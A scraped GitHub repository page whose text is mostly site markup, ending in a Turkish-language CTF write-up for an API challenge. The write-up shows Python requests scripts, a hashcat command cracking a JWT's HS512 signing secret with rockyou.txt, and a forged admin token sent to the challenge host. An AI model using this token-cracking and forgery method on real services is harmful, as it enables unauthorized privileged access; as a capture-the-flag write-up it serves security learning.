01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/ivanchubb/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ivanchubb/CTF-Writeups/refs" cache-key="v0:1630077996.69185" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aXZhbmNodWJiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ivanchubb/CTF-Writeups/refs" cache-key="v0:1630077996.69185" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aXZhbmNodWJiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2021</span></span><span>/</span>dCTF<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2021</span></span><span>/</span>dCTF<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div class="js-details-container Details d-flex rounded-top-1 flex-items-center flex-wrap" data-issue-and-pr-hovercards-enabled> <include-fragment src="/ivanchubb/CTF-Writeups/tree-commit/24a55e8f215622492a39f1cd47aa9f76460a4864/2021/dCTF" class="d-flex flex-auto flex-items-center" aria-busy="true" aria-label="Loading latest commit"> <div class="Skeleton avatar avatar-user flex-shrink-0 ml-n1 mr-n1 mt-n1 mb-n1" style="width:24px;height:24px;"></div> <div class="Skeleton Skeleton--text col-5 ml-3"> </div></include-fragment> <div class="flex-shrink-0"> <h2 class="sr-only">Git stats</h2> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-history"> <path fill-rule="evenodd" d="M1.643 3.143L.427 1.927A.25.25 0 000 2.104V5.75c0 .138.112.25.25.25h3.646a.25.25 0 00.177-.427L2.715 4.215a6.5 6.5 0 11-1.18 4.458.75.75 0 10-1.493.154 8.001 8.001 0 101.6-5.684zM7.75 4a.75.75 0 01.75.75v2.992l2.028.812a.75.75 0 01-.557 1.392l-2.5-1A.75.75 0 017 8.25v-3.5A.75.75 0 017.75 4z"></path></svg> <span> History </span> </div> </div> </div> <h2 id="files" class="sr-only">Files</h2> <include-fragment src="/ivanchubb/CTF-Writeups/file-list/main/2021/dCTF"> Permalink <div data-view-component="true" class="include-fragment-error flash flash-error flash-full py-2"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> Failed to load latest commit information. </div> <div class="js-details-container Details"> <div role="grid" aria-labelledby="files" class="Details-content--hidden-not-important js-navigation-container js-active-navigation-container d-block" data-pjax> <div class="sr-only" role="row"> <div role="columnheader">Type</div> <div role="columnheader">Name</div> <div role="columnheader" class="d-none d-md-block">Latest commit message</div> <div role="columnheader">Commit time</div> </div> <div role="row" class="Box-row Box-row--focus-gray p-0 d-flex js-navigation-item" > <div role="rowheader" class="flex-auto min-width-0 col-md-2"> <span>. .</span> </div> <div role="gridcell" class="d-none d-md-block"></div> <div role="gridcell"></div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>0. Readme.md</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Dragon.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Encrypted the flag i have.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Julius ancient script.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Sanity Check.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Simple Web.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> <div role="row" class="Box-row Box-row--focus-gray py-2 d-flex position-relative js-navigation-item "> <div role="gridcell" class="mr-3 flex-shrink-0" style="width: 16px;"> <svg aria-label="File" aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-file color-icon-tertiary"> <path fill-rule="evenodd" d="M3.75 1.5a.25.25 0 00-.25.25v11.5c0 .138.112.25.25.25h8.5a.25.25 0 00.25-.25V6H9.75A1.75 1.75 0 018 4.25V1.5H3.75zm5.75.56v2.19c0 .138.112.25.25.25h2.19L9.5 2.06zM2 1.75C2 .784 2.784 0 3.75 0h5.086c.464 0 .909.184 1.237.513l3.414 3.414c.329.328.513.773.513 1.237v8.086A1.75 1.75 0 0112.25 15h-8.5A1.75 1.75 0 012 13.25V1.75z"></path></svg> </div> <div role="rowheader" class="flex-auto min-width-0 col-md-2 mr-3"> <span>Strong Password.txt</span> </div> <div role="gridcell" class="flex-auto min-width-0 d-none d-md-block col-5 mr-3" > <div class="Skeleton Skeleton--text col-7"> </div> </div> <div role="gridcell" class="color-fg-muted text-right" style="width:100px;"> <div class="Skeleton Skeleton--text"> </div> </div> </div> </div> </div> </include-fragment> </div> </div> </div></div> </main> </div> </div> <div class="footer container-xl width-full p-responsive" role="contentinfo"> <div class="position-relative d-flex flex-row-reverse flex-lg-row flex-wrap flex-lg-nowrap flex-justify-center flex-lg-justify-between pt-6 pb-2 mt-6 f6 color-fg-muted border-top color-border-muted "> © 2021 GitHub, Inc. Terms Privacy Security Status Docs <svg aria-hidden="true" height="24" viewBox="0 0 16 16" version="1.1" width="24" data-view-component="true" class="octicon octicon-mark-github"> <path fill-rule="evenodd" d="M8 0C3.58 0 0 3.58 0 8c0 3.54 2.29 6.53 5.47 7.59.4.07.55-.17.55-.38 0-.19-.01-.82-.01-1.49-2.01.37-2.53-.49-2.69-.94-.09-.23-.48-.94-.82-1.13-.28-.15-.68-.52-.01-.53.63-.01 1.08.58 1.23.82.72 1.21 1.87.87 2.33.66.07-.52.28-.87.51-1.07-1.78-.2-3.64-.89-3.64-3.95 0-.87.31-1.59.82-2.15-.08-.2-.36-1.02.08-2.12 0 0 .67-.21 2.2.82.64-.18 1.32-.27 2-.27.68 0 1.36.09 2 .27 1.53-1.04 2.2-.82 2.2-.82.44 1.1.16 1.92.08 2.12.51.56.82 1.27.82 2.15 0 3.07-1.87 3.75-3.65 3.95.29.25.54.73.54 1.48 0 1.07-.01 1.93-.01 2.2 0 .21.15.46.55.38A8.013 8.013 0 0016 8c0-4.42-3.58-8-8-8z"></path></svg> Contact GitHub Pricing API Training Blog About </div> <div class="d-flex flex-justify-center pb-6"> <span></span> </div></div> <div id="ajax-error-message" class="ajax-error-message flash flash-error" hidden> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <button type="button" class="flash-close js-ajax-error-dismiss" aria-label="Dismiss error"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> You can’t perform that action at this time. </div> <div class="js-stale-session-flash flash flash-warn flash-banner" hidden > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-alert"> <path fill-rule="evenodd" d="M8.22 1.754a.25.25 0 00-.44 0L1.698 13.132a.25.25 0 00.22.368h12.164a.25.25 0 00.22-.368L8.22 1.754zm-1.763-.707c.659-1.234 2.427-1.234 3.086 0l6.082 11.378A1.75 1.75 0 0114.082 15H1.918a1.75 1.75 0 01-1.543-2.575L6.457 1.047zM9 11a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.25a.75.75 0 00-1.5 0v2.5a.75.75 0 001.5 0v-2.5z"></path></svg> <span>You signed in with another tab or window. Reload to refresh your session.</span> <span>You signed out in another tab or window. Reload to refresh your session.</span> </div> <template id="site-details-dialog"> <details class="details-reset details-overlay details-overlay-dark lh-default color-fg-default hx_rsm" open> <summary role="button" aria-label="Close dialog"></summary> <details-dialog class="Box Box--overlay d-flex flex-column anim-fade-in fast hx_rsm-dialog hx_rsm-modal"> <button class="Box-btn-octicon m-0 btn-octicon position-absolute right-0 top-0" type="button" aria-label="Close dialog" data-close-dialog> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div class="octocat-spinner my-6 js-details-dialog-spinner"></div> </details-dialog> </details></template> <div class="Popover js-hovercard-content position-absolute" style="display: none; outline: none;" tabindex="0"> <div class="Popover-message Popover-message--bottom-left Popover-message--large Box color-shadow-large" style="width:360px;"> </div></div> <template id="snippet-clipboard-copy-button"> <div class="zeroclipboard-container position-absolute right-0 top-0"> <clipboard-copy aria-label="Copy" class="ClipboardButton btn js-clipboard-copy m-2 p-0 tooltipped-no-delay" data-copy-feedback="Copied!" data-tooltip-direction="w"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-copy js-clipboard-copy-icon m-2"> <path fill-rule="evenodd" d="M0 6.75C0 5.784.784 5 1.75 5h1.5a.75.75 0 010 1.5h-1.5a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-1.5a.75.75 0 011.5 0v1.5A1.75 1.75 0 019.25 16h-7.5A1.75 1.75 0 010 14.25v-7.5z"></path><path fill-rule="evenodd" d="M5 1.75C5 .784 5.784 0 6.75 0h7.5C15.216 0 16 .784 16 1.75v7.5A1.75 1.75 0 0114.25 11h-7.5A1.75 1.75 0 015 9.25v-7.5zm1.75-.25a.25.25 0 00-.25.25v7.5c0 .138.112.25.25.25h7.5a.25.25 0 00.25-.25v-7.5a.25.25 0 00-.25-.25h-7.5z"></path></svg> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check js-clipboard-check-icon color-text-success d-none m-2"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> </clipboard-copy> </div></template> </body></html>
Siteye girdigimde Authorization basliginin olmadigini soyluyor. {"Error":"Authorization header not found! Try to login with guest credentials."} Challange'in aciklamasi 'Frontend is overrated! API rocks!' oldugu icin herhangi bir gorsel form beklemiyordum. API mantigiyla login page olabilecek sayfalara istek gondermeye basladim. /login 'i denedigimde method hatasi verdi. Bu istekleri GET method'u ile gonderiyordum. Post methodu ile gondermeyi deneyince username-password eksik hatasi aldim. Giris sayfasinda misafir olarak giris yapabilirsiniz dedigi icin kucuk bi yazdim. ```python #!/usr/bin/python3 import requests as r data = { "username":"guest", "password":"guest"} req_post = r.post("http://dctf1-chall-secure-api.westeurope.azurecontainer.io:8080/login", data=data) ``` {"Token":"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6Imd1ZXN0IiwiZXhwIjoxNjIxMDQ0NDQ0fQ.180L-byLhnxs-HLuiOHVc7ZlJukDeQn5C1Ll6LE6Tg95cVy5gnwNkAmoMBkSodggLWGyI4cvrJ5m4EuOA_r6Jg"} Istegim bana JWT token dondurmustu. Online jwt tool araci ile decode ettigimde { "typ": "JWT", "alg": "HS512"}{ "username": "guest", "exp": 1621043197} icerisinde username parametresinin oldugunu gordum. Token uzerinde degisiklik yapabilmek icin Token'in imza sifresine ihtiyacim vardi. Challange'in aciklamasinda 'rocks' geciyordu. Rockyou.txt ile deode etmeyi denedim. ```bash hashcat -m 16500 hash /usr/share/wordlists/rockyou.txt ``` cok uzun surmeden crack islemini bitirdi ve imza sifresini verdi. 147852369 bu sifre ile Token'deki username kismini admin ile degistirip, sitenin header'ina Authorization ekleyip gonderdim. ```python import requests as r header = { "Authorization":"Bearer eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzUxMiJ9.eyJ1c2VybmFtZSI6ImFkbWluIiwiZXhwIjoxNjIxMDQzMTk3fQ.it7Lbwt35DTecQd7DpZZKpk4qDomCBwoXSaZYtoHK-8Hp4X1PDv2CRVwFrLemhtDlf1t1v72ScEt0IaZdjEFKw"} req_get = r.get("http://dctf1-chall-secure-api.westeurope.azurecontainer.io:8080", headers= header) print(req_get.text) ``` Ve bana sifreyi verdi. 